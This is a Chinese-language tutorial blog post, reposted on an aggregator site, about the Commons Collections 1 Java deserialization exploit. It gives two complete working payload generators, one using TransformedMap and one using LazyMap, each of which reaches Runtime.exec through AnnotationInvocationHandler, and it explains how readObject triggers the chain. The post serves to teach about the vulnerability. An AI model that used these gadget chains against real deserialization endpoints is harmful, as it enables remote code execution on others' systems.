栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

java--commoncollections1 反序列化漏洞利用学习

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

java--commoncollections1 反序列化漏洞利用学习

先附上代码 :jdk7u80环境

import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.annotation.Generated;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class test {

    public static String fileName = "CC1withTransformedMap.bin";
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException,
            InstantiationException, IllegalAccessException, IOException {

        Map hashMap = new HashMap();

        hashMap.put("comments", 2);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
                      };
        Transformer transformerchain = new ChainedTransformer(transformers);
        Map  transformedMap = TransformedMap.decorate(hashMap, null, transformerchain);
        Class c  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);

        FileOutputStream file = new FileOutputStream(new File(fileName));
        ObjectOutputStream out = new ObjectOutputStream(file);
        out.writeObject(handler);

        FileInputStream file1 = new FileInputStream(new File(fileName));
        ObjectInputStream in = new ObjectInputStream(file1);
        in.readObject();
    }
}

要想触发反序列化漏洞,我们需要一个类且重写了readObject方法,并且在其方法中存在对于TransformedMap的put方法或者实现了setValue方法,或对于lazymap实现了get方法,那么下面就针对这两种map的利用方法进行分析。

主要是利用了sun.reflect.annotation.AnnotationInvocationHandler这个类,这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。

动态代理的学习参考(代理模式的使用总结_张彦峰ZYF的博客-CSDN博客_代理模式有啥用)

那么我们利用到的动态代理的部分就是invoke方法,对于动态代理的知识看上面的文章即可,我们基本了解一下即可:一般的名字就叫...InvocationHandler,这其中会有一个invoke方法,其中包含三个参数(Object var1, Method var2, Object[] var3),且所有执行代理对象的方法都会被替换成执行invoke方法,那么就是需要我们将实现代码放到invoke函数中去来执行。

那么下面就是通过两种思路进行反序列化漏洞:

  1. TransformedMap利用反序列化重写readObject中调用setValue方法
  2. LazyMap在invoke中会调用get方法
1.TransformedMap利用

先看一下AnnotationInvocationHandler的构造方法。

构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

 因为这个类实现了基于动态代理实现的,那么它就一定有invoke方法,但是在TransformedMap的利用中没有利用到invoke函数,而是利用的readObject函数中的setValue方法,那么我们直接进入readObject方法。

根据上面的定义,我们可以知道这个meberValues就是构造方法中传入的一个Map对象,首先先将其遍历,然后进行if判断,其中判断的内容包括:

首先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。

然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。

private final Map memberValues;
......
......
AnnotationInvocationHandler(Class var1, Map var2) {
......
this.memberValues = var2;
......
}

 

那么我们根据文章开头的payload可以使用Generated.class,且原始的map中put("commonts",2)。

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);

那么我们查看一下Generated.class

发现其中有三个的定义,那么我们可以调试一下查看过程变量的值

 然后查看一下我们定义的transformedMap即这里的var4

最终整理一下这个的判断流程:

我们传入的是("commonts",2),其中传入的commonts是String类型的,2是Integer类型的,

while(var4.hasNext()) {
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey(); //commit-->String
    Class var7 = (Class)var3.get(var6);  //根据Generated中的String comments() default ""; 可以知道var7是String类型的
    if (var7 != null) {
    Object var8 = var5.getValue(); //v5=2 是int类型的
    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
          var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

最后因为var8是Integer类型而不是String类型且不为ExceptionProxy类型而进入if语句中。

所以,如果我们使用map.put("comments","zyer");就不会触发这个if判断了。那么其他利用方式针对

可以传入("value",非String[]类型),("data",非String类型) ,("comments",非String类型) 


2.LazyMap

payload代码

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
        });
        Map    lazyMap   = LazyMap.decorate(new HashMap(), chain);
        Class  c  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

        FileOutputStream file = new FileOutputStream(new File("1.txt"));
        ObjectOutputStream out = new ObjectOutputStream(file);
        out.writeObject(invocationHandler);

        FileInputStream file1 = new FileInputStream(new File("1.txt"));
        ObjectInputStream in = new ObjectInputStream(file1);
        in.readObject();
    }
}

是通过方式使lazymap调用了get方法

那构造的思路的就有了,在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap,这样反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法,触发 LazyMap 的 get 方法。


暂时对动态代理的理解还不是很深,对LazyMap的原理的理解还是有点模糊,等再稍微研究一下再更新Lazy Map的原理。

上面的内容参考su18师傅:Java 反序列化漏洞(二) - Commons Collections | 素十八 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/871811.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号